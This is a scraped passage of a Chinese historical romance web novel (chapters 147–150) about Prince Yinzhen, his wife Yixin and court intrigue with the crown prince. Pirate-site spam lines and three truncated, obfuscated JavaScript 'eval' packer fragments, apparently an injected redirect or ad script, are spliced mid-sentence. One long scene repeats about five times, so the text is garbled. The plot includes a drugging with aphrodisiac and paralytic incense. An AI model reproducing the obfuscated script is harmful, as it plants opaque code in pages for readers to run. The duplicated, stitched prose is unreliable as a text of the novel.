声,“您歇着吧,儿子出宫了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “喜怒不定。”康熙斥骂一句,又给胤禛扔了点银两,“配合朕,你知道怎么回事。” “嗯。”胤禛接住银票,牵着仪欣离开。 康熙见胤禛又要去富察府过年,本想呵斥阻止,但又想着今日理亏,便随他去了。 仪欣莫名其妙加入了一场聪明人的游戏,她本来就喜欢看好戏,看清楚一切之后,觉得刺激又惊险。 坐在马车上兴致勃勃哗啦哗啦数银票,又打开康熙给的捧盒。 捧盒里躺着一个精美的八音盒,上面是镶嵌着硕大的明珠,色彩瑰丽明艳,轻轻扭动机关,便溢出令人愉悦的乐声。 “王爷,好漂亮,我好喜欢。”仪欣惊喜。 胤禛无奈,她什么都喜欢,情绪来的快,去的也快。 “还害怕吗?” “不害怕!”仪欣窝在胤禛的怀里,喜气洋洋把玩八音盒。 胤禛这才松口气,弯唇摸摸她聪明的小脑瓜,夸奖道,“真勇敢。” “这件事没完,后面发生什么事,你就认真看戏,可以吗?” “可以。”仪欣无事一身轻,“还好王爷很聪明。” 胤禛低头闷闷笑。 刚过八大街,马车吭得一声停下来,仪欣支起耳朵,好奇张望窗外,胤禛把她的脑袋按到胸膛上,沉声问:“怎么了?” “王爷,福晋,八爷在前面。” 胤禛不耐烦:“让他让路。” 胤禩站在胤禛的马车旁,轻声说:“四哥,姚虞在哪里?四哥不告诉弟弟,那咱们就一块过年吧。” 仪欣:? 这个脸皮,是十四阿哥在背后指点吗? “本王要跟你四嫂回富察氏过年,你也去吗?” 胤禩张了张口,没说出话来。 又去富察府过年? 仪欣已经有点疲倦了,好多事情挤到她的两个时辰里,她不想再跟他们纠缠乱糟糟的事情,脑袋轻轻搭在胤禛的腿上。 胤禛替她摘了繁琐的凤簪,温热的手轻轻捂住她的耳朵。 第147章花蝴蝶搭配清冷寡言之人。 不知胤禛和胤禩说了什么仪欣醒来的时候已经到富察府后门了。 马车外傅文温和又耐心地等着她简单挽发。 马车内。 仪欣极小声叮嘱胤禛:“王爷替我保守今天的秘密不要告诉阿玛他们。” “嗯。”胤禛老实回答。 一直到仪欣和胤禛来到宴会厅钮祜禄氏这才放下心来。 总归是回来过年了。 “阿玛额娘我带着王爷回来啦。”仪欣提着八音盒 毓庆宫。 “他接吻时什么表情你想不想知道?他穿寝衣什么样子你想不想知道?他醉酒时说什么话你想不想知道?” 仪欣的声音往她的骨头缝里钻。 年枝周身汗水混杂着血腥气梦魇里醒不过来满脑子都在重复仪欣的话。 接吻穿寝衣醉酒。 太私密了。 她甚至都不能想象他做这些事情的神情想一下便会心尖泛酸脑海中全都是他清冷薄情的脸。 “侧福晋又大出血了。”一名婆子惊呼。 房间内人来了又走焦急声阵阵。 太子砸了满室花瓶看着跪在地上的弘皙太子妃劝不住太子提剑要去宰了雍亲王。 心疼儿子到在少数只是胤禛这堂而皇之的两巴掌扇的是东宫太子的脸。 乾清宫的奴才适时来到毓庆宫康熙给年氏赏了大批药材还往富察府发了折子申斥胤禛勒令他不许参加明日朝宴。 富察府。 胤禛正坐在宴会厅陪仪欣收压岁钱便收到了康熙的口谕。 ——不敬东宫居府反思。 送走传旨太监众人担忧看着胤禛心里揣测宫里到底发生了何事。 马齐深沉站在胤禛身后刚要问及事由便听仪欣巧笑盼兮的声音。 “太好了王爷!” 马齐一梗。 闺女是不是脑子不太好使?哪里好了? 胤禛笑着附和仪欣:“确实不错明日不必早起。” 马齐确认女婿好像脑子也不好使。 胤禛隐晦跟傅文交换一个让他安 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 心的眼神,口型到“年羹尧。 傅文心领神会,笑着打岔过去,私底下跟马齐解释,四爷有分寸。 康熙的口谕没有影响富察氏温馨的过节氛围,仪欣带着一群小不点放爆竹。 一群小不点围着她,有的叫姐姐,有的叫姑姑。 仪欣向来是孩子王,又最活泼爱闹,有时候她一时兴起比稚童还要闹人,她左手握着一支香,指挥着傅辙挂上鞭炮。 一手捂着耳朵,一脸紧张点爆竹,怎么都觉得手有点抖。 胤禛环住她,一手把住她的手腕,“你先把眼睛睁开。 “哦,好。仪欣睁开眼睛,小心翼翼点燃爆竹,下一秒就被薅着抱走了。 “哇! 庭院内听取“哇声一片,小孩子们一起欢呼,仪欣也欢呼,欢喜看向胤禛,胤禛无奈偏头笑。 “王爷,让我自己放一挂爆竹。仪欣摩拳擦掌。 “嗯,去吧,本王在这里看着你。胤禛拍了拍她的腰。 胤禛长身玉立站在明暗交界处,马齐沉默站到胤禛身后,看着胤禛孤寂的背影,突然有些心疼。 “王爷在富察府多住几日吧,万岁爷这出戏,可别伤了王爷。 康熙假装亲近太子,太子桀骜不羁,胤禛和太子针锋相对,讨不到好处。 “留仪欣在富察府多住几日吧。胤禛笑笑。 马齐手臂搭在胤禛的肩膀上,忽明忽暗的光落在马齐严肃的脸上,他偏头看了看胤禛,强硬道:“你就在府上住着,陪老夫喝酒下棋。 胤禛放松倚在马齐身上,笑出声来。 “岳父大人放心好了,这天下还没有胤禛吃亏的道理。 马齐搂着胤禛的肩膀拍了拍,笑着摇摇头。 事情还没有结束,谁执棋谁落子,总归还没有定数。 一同守岁过后。 胤禛背着仪欣往嫖姚院走。 胤禛穿着一身幽蓝色的**袍,在夜里的灯笼下近乎墨黑色,他的步伐不疾不徐,偏头还能蹭到她呼出的憨气。 仪欣穿得花枝招展,色彩缤纷,叮叮当当的佩环绕在胤禛的腰间,橘红色的旗装搭着浅粉色的斗篷大氅,连指尖都缀着红宝石护甲,浅黄色的流苏垂落。 “王 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 爷,我真的要睡着了。” “睡吧,裹紧大氅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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身侧男人轻轻抬眼,又无奈垂下去,他的脸很漂亮,又一双纯粹又狡黠的狐狸眼,身形挺拔强壮却不莽撞,随意倚着树,曲着腿,一派地地道道的风流书生模样。 姚虞有些薄醉,但是觉得心旷神怡,想多饮些酒。 男人按住酒壶,随意踢翻。 “你怎么回事?做朋友可以,别给我添堵啊。”姚虞不悦,扶着树起身。 转头盯着男人,猛得看上去觉得有点熟悉,她也这么问出声来,“你长得…像我的朋友。” 他笑一下,“八福晋,在下富察傅笙。” 第148章异地恋小夫妻 姚虞闻言懊恼拍了拍脑袋,仪欣还骄傲说过和二哥长得最像,她也真是喝多了。 “富察将军,久仰。姚虞后退一步,试探问,“咱们不是偶遇吧? 富察傅笙道:“八福晋说笑了,晚间收到臣妹夫的书信,知道八福晋孤身到了边疆,故而特意来寻。 他本想明日再派人到镇上寻人照应,可苏旻却不同意,只说是小九的朋友,况且女子在边疆不安全。 确实,边疆不比京城,这里一草一木都是会**的。 八福晋身份敏感,故而他和苏旻亲自出来。 他是趁着酒,套近乎几句才确定没找错人。 姚虞松口气,“给小将军和尊夫人添麻烦了。 半个时辰后,姚虞来到他们镇上的家里,将她在京城带来的东西作为礼物带着。 “妾身给八福晋请安。富察傅笙的妻子宋苏旻弯唇笑着行礼。 “别,不是什么八福晋。 姚虞略微局促观察着这不算大却温馨的庭院,窗明几净,檐下摆着一列兵器架,梅树苍凉的盛开着,残花满地,别有一番粗犷又婉约的美感。 庭院间满是红灯笼。 姚虞的视线大大方方落到宋苏旻身上,发现宋苏旻也在看她。 “你好漂亮。 “你好美。 两个人异口同声,同时弯唇笑。 宋苏旻是汉臣女子,身量娇小,容貌娇媚,穿着淡黄色的旗装,一颦一笑都有说不出的韵味。 宛若长在边疆的玫瑰花苞。 两年以前,富察傅笙重伤,宋苏旻独身离开京城,抵达边疆。 “我是宋苏旻,幸会。 “郭络罗姚虞。 傅笙并不搭话,笑看两个人相谈甚欢,吩咐小厮传膳。 晚膳已好,傅笙挨着宋苏旻,姚虞与他们对坐。 姚虞揉了揉额角,自顾自斟满酒,豪气开口:“来,我敬二位。 宋苏旻抬腕压下姚虞的酒杯,摇摇头,“我来敬郭络罗格格,敬夜奔出逃的勇敢,佩服! 说罢,宋苏旻大口喝光一碗酒。 姚虞 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 红了眼眶,低头轻轻笑,与宋苏旻的杯盏相碰,仰头一饮而尽。 晚膳用了一个时辰,姚虞高兴至极,想喝多却被宋苏旻劝住,只说来日方长。 姚虞跟宋苏旻讲她来到边疆的路途见闻,讲京城趣事,将京城带来的礼物分给宋苏旻,将头上戴的金簪也尽数插到宋苏旻的发髻上。 宋苏旻目瞪口呆,摸了摸金簪,从身后掏出一把镶嵌蓝宝石的**来,塞到姚虞手里。 姚虞也目瞪口呆,二人笑做一团。 富察傅笙抱胸倚着门,吩咐丫鬟为姚虞安排住处,目光随着苏旻一颦一笑波动,抿唇笑。 姚虞还是喝多了,由丫鬟扶着去休息。 傅笙蹲着仰头看坐在石凳上眼神发直的苏旻,轻声哄着问:“旻旻,你醉了吗?” 苏旻摸到傅笙的脸,反应半晌摇摇头。 傅笙低头笑,耳尖通红,两个人对视后情不自禁唇角上扬,苏旻的视线局促移开,傅笙垂着眼慢慢把她抱到怀里。 交错的指尖,拥抱时胸腔里强劲的心跳。 成婚七载,聚少离多,傅笙和苏旻还是有些青涩和不熟悉。 “我抱旻旻去睡觉吧。”傅笙轻声说,“我明日要回军营,可能归期不定。” 苏旻红了眼眶,睫毛微微颤抖,双手霎时无处安放,小声说,“熬两碗浓浓的醒酒汤,我今晚要盯着你看一晚上。” 傅笙疏眉朗目,眉眼微弯,低低地笑着抱起她,漂亮的狐狸眼,眼尾恰到好处翘着。 他来边疆六年半了,从前两个人相隔千里,每两个月一封书信。 两年前苏旻孤身来到边疆照顾受伤的他,可是军中规矩也好,边疆条件也罢,他们只能月中见一次面。 他总是时常觉得亏欠。 “对不起,旻旻。” “没事的,虽然我们不能经常见面,但是,我觉得我拥有的是健康的爱。”宋苏旻靠在傅笙肩头。 车马慢,京城和边疆互通的信件往往要走半个月的时间。 “咣当——”一声,边疆送来的礼物里掉出来一件镶满红宝石的**。 仪欣惊叹,把玩着**,“王爷,我喜欢这个,是二嫂和姚虞姐姐给我挑的礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“什么?”仪欣震惊,看向胤禛,脱口而出,“皇阿玛还挺会膈应人的。” 第149章是真的不能亲近女人吗 胤禛勾唇,下一秒捂住她语出惊人的嘴巴,感慨道:“不过是皇恩浩汤罢了。” 弘皙以皇长孙的身份为傲,他的长子却是一团不存在的肉。 太子日日以年氏的孩子打感情牌,康熙转手就给孩子序齿,让你整日喜欢那个孩子。 仪欣哧哧笑,嗯嗯嗯,皇恩浩荡。 胤禛和仪欣隔岸观火,看得不亦乐乎。 除此之外,仪欣专注做曲阜学堂和山西善堂的事情。 不得不说,胤禛是一个很好用的小跟班,她吩咐下去,想要的卷宗和当地的地貌风情,胤禛都能很快整理出来,提出的建议也是一针见血。 谋士:干什么?这是干什么?王爷做整理卷宗的小事,简直是暴殄天物啊! 让人出乎意料的是,胤禩极其敏锐掺和一脚,顺势拉扯年羹尧。 老十闻风而上,联络年羹尧妻子的母族叶赫那拉氏。 年羹尧的妻子是叶赫那拉氏,纳兰性德的女婿。 纳兰明珠从前是大阿哥胤褆的坚定支持者,明珠离世,大阿哥倒台之后,胤禩接手大阿哥势力。 故而,从前年羹尧亲近老八,也不无道理。 胤禩**如野火燎原,春风吹又生,连老九都从养蜂夹道放了出来,康熙又重新给了老九二十三万两白银,供其开府立业。 太子反而竹篮打水一场空,纵使康熙再亲近,也显得孤木难支。 雍亲王府,书房。 老十三沉默一会儿,“四哥,他们这是想干什么?” “老十很简单,他只想把老九救出来,不然不会掺和这档子事。”胤禛捻了捻佛珠。 “至于…皇阿玛,”胤禛沉默看向老十三,“你相信老八还能东山再起吗?” “怎么可能?”老十三耸肩,“亲信全无,家财散尽,姻亲斩断,怎么可能东山再起?” “嗯,所以,皇阿玛最信任老八,甚至隐晦扶持老八。”胤禛捻了捻佛珠,他想事情时,总是会有这种习惯性的小动作。 半晌,他说,“怕是皇阿玛许给了老八什么东西。” 会是什么东西呢? 老十三总觉得很乱套,他缓缓抬头问出一句话:“四哥,是不是太子那边有了…皇阿玛难以容忍的动作?” 胤禛讳莫如深点点头。 夜里。 仪欣有些不太舒服,她这个冬日总是爱往外跑。 胤禛自觉有些掉以轻心,心疼得沉默许多,手臂揽着她慢慢喂药。 仪欣一开口就是沙哑的小烟嗓,她醺醺然躺在胤禛怀里,蔫蔫的,还睡不着。 “王爷,我不舒服。” 胤禛低头亲亲她的脑袋,轻声说,“那你亲我一会儿,把不舒服传给我吧。” 仪欣恹恹抬眼,扎在他的颈窝里,小声说:“我不要。” 胤禛捏着她的下巴抬起来,耐心地一点点啄吻她的嘴巴,强势地探进去。 “唔…不要…” 胤禛停下来,抱着她,自暴自弃道,“不如我替你难受。” “王爷真孩子气。” “被小孩子说孩子气,本王真是有福了。”胤禛宠溺哂笑,抱紧她拍了拍,“快睡觉吧,乖乖。” 次日。 胤禛照常上朝,与太子打照面时,也只是不咸不淡点点头。 自从他打了弘皙,康熙坚决站在太子一边,斥责胤禛。 胤禛没什么道歉的想法,太子更是难以忍受,阴阳怪气总是难以解气。 康熙持之以恒补偿太子,待太子之心仿佛回到了往昔,只是胤禩的重新起复,又让太子安全感尽失。 乾清宫。 胤禛站在康熙身后磨墨。 康熙批复奏章,眯着眼沉声问:“朕交代你的事情,查的怎么样了?” 胤禛自袖袋中掏出一页薄薄的纸。 康熙翻看之后,愈发沉默。 串联掌京城兵权的步军统领托合齐、控制司狱的刑部尚书齐世武,直触禁军与刑狱两大死穴。 这不是争权,是兵变预演。 “消息可靠吗?”康熙犹豫一下,在心里叹口气。 胤禛无辜说:“这些都是皇阿玛交给儿臣的人亲自查的。” 康熙又沉默了。 他的人亲自查的,他从八岁做皇帝,胤礽是他教出来的,紫禁城是他掌权的。 他之所以跟胤禛做戏,不过是察觉到了不同寻常,故而拉扯太子精力,派胤禛私底下探查太子之事。 他信任胤禛,把手上的人给胤禛。 他更信任他的人,查到的都是实打实的东西。 康熙瞬间苍老了,奏章上滴上一片朱砂痕迹。 “让朕想想,让朕想想,”康熙呢喃,又吩咐胤禛,“莫要打草惊蛇,适当可以与太子缓和些关系。” 胤禛平淡道,“好。” 刚出乾清宫,胤禛迎面遇上太子胤礽在等他。 “孤和四弟怕是有什么误会吧。”胤礽与胤禛边走边问。 胤禛笑问:“能有什么误会呢?不过是弘皙的妾室不懂规矩,冒犯了臣弟的福晋。” 胤礽笑了,若有所指道:“你还真是珍爱富察氏。” “罢了,随孤去别院喝盏茶,你我兄弟二人,何必因为女人起了嫌隙呢?” 胤禛顿住脚步,随之捻了捻佛珠,视线浅浅对上太子的眼睛,思虑再三推诿道:“户部还有些未尽的差事,改日臣弟做东。” “不给孤面子?”太子冷哼,“若是皇阿玛相邀,又该如何呢?” 胤禛低头笑,“走吧,太子殿下。” 京城寒冷,胤禛和太子没有骑马,乘马车慢悠悠往太子的京城别院走,一路上太子没什么架子,随意谈笑风生。 冬日处处萧条,纵使是繁华富贵窝的太子别院亦是如此。 胤禛看着檐下的宫室,顿住脚步,一股并不算太好的回忆涌上心头。 一年前,男男女女,混杂在空气里**的脂粉气和其他味道,他就是在这里替太子收拾残局的。 此时想到,还会有那种心脏窒息的烦闷感。 太子勾着胤禛的肩膀,阔步往宫室里走,刚坐到上首,偏殿里涌出一波波伶人乐姬,抱着琵琶扫出清脆动听的乐曲。 “来,认识一下,京城名妓婠婠。”太子推了身边女子一把,对着胤禛意味深长挑眉。 胤禛起身,冷笑道:“太子殿下,臣弟先告辞了。” 太子不疾不徐压下他的肩膀,俯身与胤禛对视,邪肆笑出声来,“是真的不能亲近女人吗?孤今日带你试试。” 他信任胤禛,把手上的人给胤禛。 他更信任他的人,查到的都是实打实的东西。 康熙瞬间苍老了,奏章上滴上一片朱砂痕迹。 “让朕想想,让朕想想,”康熙呢喃,又吩咐胤禛,“莫要打草惊蛇,适当可以与太子缓和些关系。” 胤禛平淡道,“好。” 刚出乾清宫,胤禛迎面遇上太子胤礽在等他。 “孤和四弟怕是有什么误会吧。”胤礽与胤禛边走边问。 胤禛笑问:“能有什么误会呢?不过是弘皙的妾室不懂规矩,冒犯了臣弟的福晋。” 胤礽笑了,若有所指道:“你还真是珍爱富察氏。” “罢了,随孤去别院喝盏茶,你我兄弟二人,何必因为女人起了嫌隙呢?” 胤禛顿住脚步,随之捻了捻佛珠,视线浅浅对上太子的眼睛,思虑再三推诿道:“户部还有些未尽的差事,改日臣弟做东。” “不给孤面子?”太子冷哼,“若是皇阿玛相邀,又该如何呢?” 胤禛低头笑,“走吧,太子殿下。” 京城寒冷,胤禛和太子没有骑马,乘马车慢悠悠往太子的京城别院走,一路上太子没什么架子,随意谈笑风生。 冬日处处萧条,纵使是繁华富贵窝的太子别院亦是如此。 胤禛看着檐下的宫室,顿住脚步,一股并不算太好的回忆涌上心头。 一年前,男男女女,混杂在空气里**的脂粉气和其他味道,他就是在这里替太子收拾残局的。 此时想到,还会有那种心脏窒息的烦闷感。 太子勾着胤禛的肩膀,阔步往宫室里走,刚坐到上首,偏殿里涌出一波波伶人乐姬,抱着琵琶扫出清脆动听的乐曲。 “来,认识一下,京城名妓婠婠。”太子推了身边女子一把,对着胤禛意味深长挑眉。 胤禛起身,冷笑道:“太子殿下,臣弟先告辞了。” 太子不疾不徐压下他的肩膀,俯身与胤禛对视,邪肆笑出声来,“是真的不能亲近女人吗?孤今日带你试试。” 他信任胤禛,把手上的人给胤禛。 他更信任他的人,查到的都是实打实的东西。 康熙瞬间苍老了,奏章上滴上一片朱砂痕迹。 “让朕想想,让朕想想,”康熙呢喃,又吩咐胤禛,“莫要打草惊蛇,适当可以与太子缓和些关系。” 胤禛平淡道,“好。” 刚出乾清宫,胤禛迎面遇上太子胤礽在等他。 “孤和四弟怕是有什么误会吧。”胤礽与胤禛边走边问。 胤禛笑问:“能有什么误会呢?不过是弘皙的妾室不懂规矩,冒犯了臣弟的福晋。” 胤礽笑了,若有所指道:“你还真是珍爱富察氏。” “罢了,随孤去别院喝盏茶,你我兄弟二人,何必因为女人起了嫌隙呢?” 胤禛顿住脚步,随之捻了捻佛珠,视线浅浅对上太子的眼睛,思虑再三推诿道:“户部还有些未尽的差事,改日臣弟做东。” “不给孤面子?”太子冷哼,“若是皇阿玛相邀,又该如何呢?” 胤禛低头笑,“走吧,太子殿下。” 京城寒冷,胤禛和太子没有骑马,乘马车慢悠悠往太子的京城别院走,一路上太子没什么架子,随意谈笑风生。 冬日处处萧条,纵使是繁华富贵窝的太子别院亦是如此。 胤禛看着檐下的宫室,顿住脚步,一股并不算太好的回忆涌上心头。 一年前,男男女女,混杂在空气里**的脂粉气和其他味道,他就是在这里替太子收拾残局的。 此时想到,还会有那种心脏窒息的烦闷感。 太子勾着胤禛的肩膀,阔步往宫室里走,刚坐到上首,偏殿里涌出一波波伶人乐姬,抱着琵琶扫出清脆动听的乐曲。 “来,认识一下,京城名妓婠婠。”太子推了身边女子一把,对着胤禛意味深长挑眉。 胤禛起身,冷笑道:“太子殿下,臣弟先告辞了。” 太子不疾不徐压下他的肩膀,俯身与胤禛对视,邪肆笑出声来,“是真的不能亲近女人吗?孤今日带你试试。” 他信任胤禛,把手上的人给胤禛。 他更信任他的人,查到的都是实打实的东西。 康熙瞬间苍老了,奏章上滴上一片朱砂痕迹。 “让朕想想,让朕想想,”康熙呢喃,又吩咐胤禛,“莫要打草惊蛇,适当可以与太子缓和些关系。” 胤禛平淡道,“好。” 刚出乾清宫,胤禛迎面遇上太子胤礽在等他。 “孤和四弟怕是有什么误会吧。”胤礽与胤禛边走边问。 胤禛笑问:“能有什么误会呢?不过是弘皙的妾室不懂规矩,冒犯了臣弟的福晋。” 胤礽笑了,若有所指道:“你还真是珍爱富察氏。” “罢了,随孤去别院喝盏茶,你我兄弟二人,何必因为女人起了嫌隙呢?” 胤禛顿住脚步,随之捻了捻佛珠,视线浅浅对上太子的眼睛,思虑再三推诿道:“户部还有些未尽的差事,改日臣弟做东。” “不给孤面子?”太子冷哼,“若是皇阿玛相邀,又该如何呢?” 胤禛低头笑,“走吧,太子殿下。” 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京城寒冷,胤禛和太子没有骑马,乘马车慢悠悠往太子的京城别院走,一路上太子没什么架子,随意谈笑风生。 冬日处处萧条,纵使是繁华富贵窝的太子别院亦是如此。 胤禛看着檐下的宫室,顿住脚步,一股并不算太好的回忆涌上心头。 一年前,男男女女,混杂在空气里**的脂粉气和其他味道,他就是在这里替太子收拾残局的。 此时想到,还会有那种心脏窒息的烦闷感。 太子勾着胤禛的肩膀,阔步往宫室里走,刚坐到上首,偏殿里涌出一波波伶人乐姬,抱着琵琶扫出清脆动听的乐曲。 “来,认识一下,京城名妓婠婠。”太子推了身边女子一把,对着胤禛意味深长挑眉。 胤禛起身,冷笑道:“太子殿下,臣弟先告辞了。” 太子不疾不徐压下他的肩膀,俯身与胤禛对视,邪肆笑出声来,“是真的不能亲近女人吗?孤今日带你试试。” 他信任胤禛,把手上的人给胤禛。 他更信任他的人,查到的都是实打实的东西。 康熙瞬间苍老了,奏章上滴上一片朱砂痕迹。 “让朕想想,让朕想想,”康熙呢喃,又吩咐胤禛,“莫要打草惊蛇,适当可以与太子缓和些关系。” 胤禛平淡道,“好。” 刚出乾清宫,胤禛迎面遇上太子胤礽在等他。 “孤和四弟怕是有什么误会吧。”胤礽与胤禛边走边问。 胤禛笑问:“能有什么误会呢?不过是弘皙的妾室不懂规矩,冒犯了臣弟的福晋。” 胤礽笑了,若有所指道:“你还真是珍爱富察氏。” “罢了,随孤去别院喝盏茶,你我兄弟二人,何必因为女人起了嫌隙呢?” 胤禛顿住脚步,随之捻了捻佛珠,视线浅浅对上太子的眼睛,思虑再三推诿道:“户部还有些未尽的差事,改日臣弟做东。” “不给孤面子?”太子冷哼,“若是皇阿玛相邀,又该如何呢?” 胤禛低头笑,“走吧,太子殿下。” 京城寒冷,胤禛和太子没有骑马,乘马车慢悠悠往太子的京城别院走,一路上太子没什么架子,随意谈笑风生。 冬日处处萧条,纵使是繁华富贵窝的太子别院亦是如此。 胤禛看着檐下的宫室,顿住脚步,一股并不算太好的回忆涌上心头。 一年前,男男女女,混杂在空气里**的脂粉气和其他味道,他就是在这里替太子收拾残局的。 此时想到,还会有那种心脏窒息的烦闷感。 太子勾着胤禛的肩膀,阔步往宫室里走,刚坐到上首,偏殿里涌出一波波伶人乐姬,抱着琵琶扫出清脆动听的乐曲。 “来,认识一下,京城名妓婠婠。”太子推了身边女子一把,对着胤禛意味深长挑眉。 胤禛起身,冷笑道:“太子殿下,臣弟先告辞了。” 太子不疾不徐压下他的肩膀,俯身与胤禛对视,邪肆笑出声来,“是真的不能亲近女人吗?孤今日带你试试。” 第150章不是?他真不硬啊 半晌胤禛闭了闭眼。 满室脂粉气已然让他呼吸不畅喉咙里往外冒酸水。 “太子殿下是嫌太子之位坐得**稳?还是真的以为胜券在握故而行事肆无忌惮?”胤禛冷淡看着太子。 “孤只是招待兄弟有什么错?”太子丹凤眼微眯“你以为皇阿玛会因为孤对你动手而责怪孤吗?” 胤禛一只手缠上太子的手腕没什么力道的收紧。 “行啊那就试试。”胤禛笑“殿下往香炉里放了什么不得了的好东西?嗯?臣弟有没有反应殿下就在这里看着?” 胤禛的视线讽刺落到太子的某个部位又慢悠悠移到他恼羞成怒的脸上缓缓勾起唇角。 太子提前用了缓解迷情香的汤药又如何?不还是跟牲畜一样起了反应? 太子却被胤禛的视线激怒转而掐上胤禛的下巴低低笑出声来“让孤看看你下面是不是软柿子。” 寒风呼呼作响胤禛踹倒一个摆着花瓶的梨花架花瓶砰得落地殿内名妓已经开始宽衣解带穿着清凉。 如果仪欣那把**在他的身上就好了他先捅死太子再谋划别的事。 仪欣要生气了完了。 胤禛咬着下唇思索一会儿闭了闭眼他可以借此向皇阿玛最后证明一下他没有野心。 只是得出点血。 出很多血。 “老四孤派人伺候你你尽欢即可。” 两个粗壮的太监没轻没重按着胤禛太子直起身来负手笑着离开。 胤禛挣扎着胸膛起伏不定额角上冒着冷汗面色有些不同寻常的红润。 他真的喘不上气来一口气都喘不上来。 下药了。 没有力气。 似乎有人摸到了他的手臂胤禛闭着眼面露痛苦甩开“先滚。” “四爷。”女人嘤咛般的呢喃声“四爷…” 带着一点点试探想要替他更衣。 胤禛偏头眯着眼手里不知何时攥得碎瓷片半刻钟后两个太监将他放开放心退出去。 殿内留下了四五名女子一点点靠近他似乎有人想挽上他的胳膊只碰到他一点点。 脂 你的朋友正在书荒,快去帮帮他吧 粉气刺激地他胸膛胀痛。 胤禛没什么情欲扯了扯唇捂着胸膛呕出一大口血来。 “啊……” 不知是谁尖叫一声殿内女子均不敢靠近但是也因迷情香起了难捱的反应。 王爷是天潢贵胄若是有个好歹她们怎么可能活命? 她…她们只是想被雍亲王收用后进王府当个妾室。 迷情香对胤禛没有任何作用他不硬也没有欲望渴望他只是想吐。 吐不出来旁的只有血。 他玄色**袍颜色更深湿漉漉的。 眼角眉梢带着病态的绯红高挺的鼻梁上染着一道血痕偏头又吐出两口血来。 “王爷…王爷…四爷…”叽叽喳喳的惊呼配着拍门声。 “来人啊…快来人…” 还有嘤咛声。 胤禛一直是高高在上的此时半倚着软榻满身星星点点都是血迹他的眼神还是平静的甚至低低笑出声来没有表现出多狼狈她们心惊胆战的样子反而逗笑了他。 有意思。 他若是胤礽定不会用低等泄愤的方式对待他。 胤禛慢慢站起来脑袋发蒙眼前一片模糊门猛得被踹开看到来的人是谁他双膝砰得落在地上。 傅文稳稳接住了他。 马齐一手拎着太子甩到一边沉着脸就踹了一脚。 胤禛还很清醒在傅文耳边轻声说:“太子身边的刘太医是皇阿玛的人让他为我诊治。” “我…灌两碗补气血的汤药就能醒 说完胤禛晕了过去。 乾清宫。 马齐面沉如水带着太子大闹一番指着康熙鼻子问究竟有没有兄长掺和弟弟弟媳后宅之事的说法。 大胆斥责太子为兄不友为君不仁。 马齐这个身份说这些话最适宜既是为国为民直言劝谏又是作为仪欣的阿玛护短为女儿抱不平。 “太子在别院给四爷下药迷情散和软骨散合用到底是何居心?四爷如今昏迷不醒老臣晚到半刻钟难道要老臣的女儿守寡不成?” 康熙得知发生何事后怒气冲冲缓缓看向太子“他不能亲近女人你 你的朋友正在书荒,快去帮帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅文干笑两声,客气道:“当不得王爷一句大哥。” 胤禛重新闭上眼睛。 其实,坦白并不难,不过是说话而已。 只是,他会担心仪欣对他的看法,会畏惧她怀疑的眼神,所以跟个胆小鬼一样一拖再拖。 但是,越来越近。 因为,仪欣越来越聪敏。 当她读策论史书的时候,会联想到一些事情,等到她豁然开朗。 那就晚了。 他要算计一个妥善的坦白方法。 把胤禛送到雍亲王府,天色已经很晚了,傅文过府不入。 仪欣提着小橘灯眼巴巴等在正院门口,刚想派小良子打听胤禛的去处,便见到胤禛芝兰玉树的身影。 “王爷,你可算回来了。” “今天喉咙还痛不痛?” “痛。”仪欣小声抱怨。 仪欣提着小橘灯就扎到他怀里,把自己裹到了他的大氅中,只露一双狡黠明亮的眼睛。 胤禛后退一步,稳住身形,低头亲了亲她的脑袋,没有露出任何破绽,十分游刃有余将她抱了起来。 苏培盛大惊,哎呦,我那吐血的王爷呦! 苏培盛鞍前马后伺候着,晴云见苏培盛这小心翼翼的模样,待两位主子用过晚膳沐浴后,她慢慢退出去,将苏培盛拉到一旁。 晴云:“苏公公,王爷可是有什么不适吗?” 苏培盛打个哈哈,“没有啊。” 寝殿内。 仪欣葱白的指尖摸到胤禛的腰,气鼓鼓按了按。 胤禛浑身酥麻,**不是早就解了吗?怎么还会有这么大反应? “王爷去哪里鬼混了?”仪欣往床榻深处挪了挪,抱胸目光幽深盯着胤禛。 胤禛一僵,下意识嗅了嗅寝衣有没有脂粉气。 “没有鬼混。”胤禛老实道,垂眸看到腰间的红痕。 仪欣戳了戳他的胸膛,“这里不是我弄的,这个也不是,还有腰上这个也不是。” 胤禛忍俊不禁:“富察仪欣,你是小狗吗?在本王身上留下哪个记号,你都记得门清吗?” “就是门清!”仪欣呲了呲牙,小烟嗓配着委屈巴巴的声音,垂着脑袋。 胤禛凝视着她,温软的弯唇笑,双手拉了拉她的手腕,觉得心里不太对劲,还撒娇般的晃了晃。 其实,家妻确实管得很严。 “王爷别撒娇!”仪欣超凶拍掉他的手。 “哦,”胤禛拍拍腿让她坐到怀里,抱住先吸了几口,稳定下情绪。 胤禛说是在太子别院撞到的。 他回忆一下,似乎也有他在客栈沐浴留下的痕迹。 胤禛觉得不太稳妥,又补充一句:“岳父大人和傅文可以为本王作证。” 他知道,他无论说什么,她都会相信,但是,他还是想要说得更多一些。 仪欣眼眸微转,听到他的解释,骄矜亲了亲他的下巴,“那好吧,我今天好想你。” 翻篇了。 胤禛喉结微动,瞳孔猛缩,低声凑在她的耳边,暗哑着嗓子问:“乖乖,哪里想?” 太子想试探他能不能硬,选错了人。 